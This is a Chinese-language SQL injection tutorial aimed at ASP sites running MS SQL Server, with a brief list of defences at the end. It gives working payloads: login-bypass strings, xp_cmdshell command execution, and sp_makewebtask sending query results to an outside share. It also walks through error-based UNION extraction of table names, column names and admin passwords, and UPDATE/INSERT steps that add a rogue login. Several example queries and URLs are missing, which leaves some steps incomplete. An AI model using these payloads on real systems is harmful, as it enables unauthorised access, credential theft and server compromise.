【攻防实战】SQL注⼊演练!
 这篇⽂章⽬的是让初学者利⽤SQL注⼊技术来解决他们⾯临的问题, 成功的使⽤它们,并在这种攻击中保护⾃⼰。
  1.0 介绍
  当⼀台机器只打开了80端⼝, 你最依赖的漏洞扫描器也不能返回任何有⽤的内容, 并且你知道管理员经常为机器打补丁, 我们就不得不使⽤web攻击⽅式了. SQL注⼊是web攻击的⼀种类型 ,这种⽅式只需要开放80端⼝就够了并且即使管理员打了全部的补丁也能⼯作. 它攻击的⽬标是web程序(像ASP,JSP,PHP,CGI等)本⾝⽽不是web服务器或系统上运⾏的服务.
  本⽂不介绍任何新的东西, SQL注⼊已经被⼴泛的讨论和使⽤. 我们写这篇⽂章⽬的是因为我们想要使⽤SQL注⼊进⾏⼀些演练测试,希望这个能对各位有⽤. 你可以在这⾥到⼀两个窍门但是请你关注下"9.0 哪⾥有更多的信息?" 可以得到关于SQL注⼊更多,更深⼊的技术.
  1.1 什么是SQL注⼊?
  通过⽹页的输⼊项来注⼊SQL查询或命令是⼀种技巧。许多⽹页会从⽤户那⾥获取参数,并构建SQL查询来访问数据库。以⽤户登录为例,页⾯收集⽤户名和密码然后构建SQL去查询数据库,来校验⽤户名
和密码的有效性。通过SQL注⼊,我们可以发送经过精⼼编造的⽤户名和/或密码字段,来改变SQL查询语句并赋予我们其它⼀些权限。
  1.2 你需要什么?
  任意web浏览器。
  2.0 你应该寻什么?
  尝试寻那些允许你提交数据的页⾯,即: 登录页⾯,查询页⾯,反馈信息等等。有时,HTML页⾯会⽤POST命令来把参数发送到另外⼀个ASP页⾯上去。那么,你可能在URL中看不到参数。不过,你可以查看页⾯的HTML源代码,查"FORM"标签。你会在⼀些HTML源代码中看到类似下⾯的东东:
  <FORM action=Search/search.asp method=post>
  <input type=hidden name=A value=C>
  </FORM>
  位于<FORM>和</FORM>之间的所有内容都可能暗含着有⽤的参数(利⽤你的智慧)。
  2.1 如果你不到任何带有输⼊框的页⾯怎么办?
  你应该寻诸如ASP, JSP, CGI, 或 PHP这样的页⾯。尤其要那些携带有参数的 URL,⽐如:
  3.0 如何测试它是否是易受攻击的?
  从⼀个单引号技巧开始。输⼊类似这样的内容:
  hi' or 1=1--
  到登录页⾯中,或者密码中,甚⾄直接在URL中。例如:
  - Login: hi' or 1=1-- 
  - Pass: hi' or 1=1--
  假如你必须在⼀个hidden字段中来这样做,就把HTML源代码下载下来,保存到硬盘上,修改URL和相应的 hidden字段。例如:
  <input type=hidden name=A value="hi' or 1=1--">
  </FORM>
  如果够幸运,不需要任何⽤户名和密码你就可以登录。
  3.1 为什么是 ' or 1=1--?
  让我们通过另外⼀个例⼦来展⽰' or 1=1-- 的重要性。除了能绕过“登录”验证,它还能展⽰⼀些在正常情况下很难看到的额外信息。假设,有⼀个ASP页⾯,其功能是将我们导航到下⾯的URL:
  在URL中,'category'是变量名;food是赋给变量的值。为了完成导航功能,我们猜想ASP页⾯应该包含下⾯的代码(这些代码是我们为了完成此测试⽽编写的真实代码):
  v_cat = request("category")
  sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
  set ute(sqlstr)
  如上所⽰,变量v_cat获取了参数category的值,SQL语句将变成:
  SELECT * FROM product WHERE PCategory='food'
  该SQL语句将返回符合where条件的的结果集。在本例中,where条件是PCategory='food' 。
  下⾯,假设我们将URL改成下⾯的形式:
  现在,变量v_cat等于"food' or 1=1-- "。将变量v_cat在SQL中进⾏替换,我们将得到下⾯语句:
  SELECT * FROM product WHERE PCategory='food' or 1=1--'
  该语句将得到product表中所有记录,⽆论PCategory是否等于'food'。“--”告诉MS SQL server忽略其后⾯的所有内容(笔者注:其实可以理解为注释,“--”后⾯所有的内容都为注释),⽅便我们处理单引号。在某些情况下,"--"可以被替换成”#“。
  如果后台的数据库不是SQL Server,查询语句的单引号就不能被忽略。在这种情况下,我们可以尝试下⾯的查询条件:
  ' or 'a'='a
  此时,SQL语句将变成:
  SELECT * FROM product WHERE PCategory='food' or 'a'='a'
  根据真实的SQL语句,我们还可以尝试以下各种变形:
  ' or 1=1--
  " or 1=1--
  or 1=1--
  ' or 'a'='a
  " or "a"="a
  ') or ('a'='a
  4.0 我如何通过SQL注⼊来进⾏远程执⾏?
  能够注⼊SQL命名通常意味着我们可以随意执⾏任何SQL查询。默认安装的MS SQL 服务是作为SYSTEM来运⾏的,它相当于Windows系统中的Administrator。我们可以利⽤存储过程,⽐如p_cmdshell 来进⾏远程执⾏:
  '; p_cmdshell 'ping 10.10.1.2'--
  如果单引号(')不管⽤,可以试试双引号 (")。
  分号会终⽌当前的SQL查询,这就允许你开始⼀个新的SQL命名。要验证命令是否执⾏成功,你需要监听来⾃10.10.1.2的 ICMP数据包,检查是否收到来⾃服务器的数据包:
  #tcpdump icmp
  如果你没有收到任何来⾃服务器的ping请求,并且收到了暗⽰许可错误的信息,则有可能是管理员限制了Web⽤户对存储过程的访问。
  5.0 如何获取SQL查询的输出?
  可以通过使⽤sp_makewebtask把你的查询写⼊到HTML:
  '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
  注意这个⽬标IP的⽂件夹"share"的共享权限是Everyone.
  6.0 如何从数据库的ODBC错误消息中获取数据?
  我们⼏乎可以在MS SQL服务器产⽣的错误消息中得到任何我们想要的数据. 通过类似下⾯的这个地址:
  我们将试图把这个整数'10'和另外的字符串进⾏UNION联合操作:
  系统表 INFORMATION_SCHEMA.TABLES 包含了服务器上所有表的信息. 这个TABLE_NAME 字段包含数据库中每个表的字段. 这样就不存在⽆此表⽆此字段的问题了. 看我们的查询语句:
  SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
  这个语句将会返回数据库中第⼀个表的名字. 当我们使⽤这个字符串值和⼀个数字'10'进⾏UNION操作, MS SQL 服务器将会试图转换这个字符串(nvarchar)为⼀个数字. 这会产⽣⼀个错误, 因为我们不能把nvarchar类型转换成数字. 服务器将会产⽣以下错误信息:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
  这个错误消息清楚的告诉我们这个值不能转换为数字. 同时呢,⾥⾯也包含了数据库中第⼀个表的名字 ,就是"table1".
  想获取下⼀个表的名字,我们使⽤下⾯的语句:
  我们也可以使⽤LIKE关键词来搜索数据:
  输出:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5
  这个匹配, '%25login%25' 的结果和 %login% 是⼀样的在SQL Server服务器中.这样,我们将得到匹配的第⼀个表的名字, "admin_login".
  6.1 如何挖掘到表所有列的名称?
  我们可以使⽤另⼀个⾮常有⽤的表INFORMATION_SCHEMA.COLUMNS 来标出某⼀个的表所有列名:
  输出:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
  注意错误提⽰,⾥⾯已经包含了第⼀个列名, 下⾯我们使⽤NOT IN ()来取得下⼀个列的名称:
  输出:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5
  按上⾯的步骤继续下⼀个,我们就能获得剩下的所有列的名称, 即"password", "details"等列. 当我们得到下⾯的这个错误提⽰时,就表⽰我们已经出所有的列名了.
  输出:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
  [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
  /index.asp, line 5
  6.2 如何检索到我们想要的数据?
  现在我们已经确认了⼀些重要的表,以及它们的列名,我们可以⽤同样的技巧从数据库中挖掘任何我们想要的信息.
  现在,让我们从这个"admin_login"表中得到第⼀个login_name的值吧:
  输出:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'sql语句替换表中内容
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
  /index.asp, line 5
  根据上⾯的错误提⽰我们知道这⾥有⼀个管理员的登录名是"neo".下⾯,我们从数据库中到"neo"的密码:
  Output:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
  /index.asp, line 5
  密码就在错误提⽰⾥了,现在让我们⽤"neo"和密码"m4trix"登录试试吧.
  6.3 如何获取数字型字符串的值?
  上⾯所述的技术具有局限性。在我们试图转换包含有效数字(即只是0-9之间的字符)的时候,我们没有得到任何错误信息。让我们试着获取"trinity"的密码"31173":
  我们可能得到"此页⾯不存在“的错误。原因在于:在于整数(这时是10)联接之前,密码"31173"将转换为⼀个数字。由于这是⼀个有效地联接(UNION)语句,因此SQL Server不会抛出ODBC错误信息,因此我们将不能获取到任何数字型的项。
  为了解决这个问题,我们给数字型字符串后⾯提交⼀些字母,这样可以确保转换失效。让我们看看下⾯这个查询:
  我们只是给我们需要的密码⽂本后添加了加号(+)。(“+”的ASCII编码是0x2b)。我们将给真正的密码后添加“(空格)休眠符“。因此,即使我们有⼀个字符型字符串”31173“,它最终将变为”31173休眠符“。通过⼿⼯调⽤convert()函数试图把“31173休眠符“转换为整数时,SQL Server抛出ODBC错误信息:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
  /index.asp, line 5
  现在,你就可以使⽤密码为"31173"的"trinity"⽤户登陆了。
  7.0 如何向数据库中更新或插⼊数据?
  当我们成功的获取到⼀张表的所有字段名后,我们就有可能UPDATE甚⾄INSERT⼀条新记录到该表中。例如,修改"neo"的密码:
  下⾯INSERT⼀条新记录到数据库中:
  现在我们可以⽤⽤户名"neo2"和密码"newpas5"来登录了。
  8.0 如何避免SQL注⼊?
  过滤参数中的单引号、双引号、斜杠、反斜杠、分号等字符;以及NULL、回车符、换⾏符等扩展字符。这些参数可能来⾃于:
前台表单(form)中的⽤户输⼊
URL中的参数
cookie
  对于数字,在将其传⼊SQL语句之前将其从字符串(String)转换成数字(Number);或者⽤ISNUMERIC
函数确定其确实是数字。
  将SQL Server的运⾏⽤户修改为低权限⽤户(low privilege user)。
  删除不再需要的存储过程,例如:master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。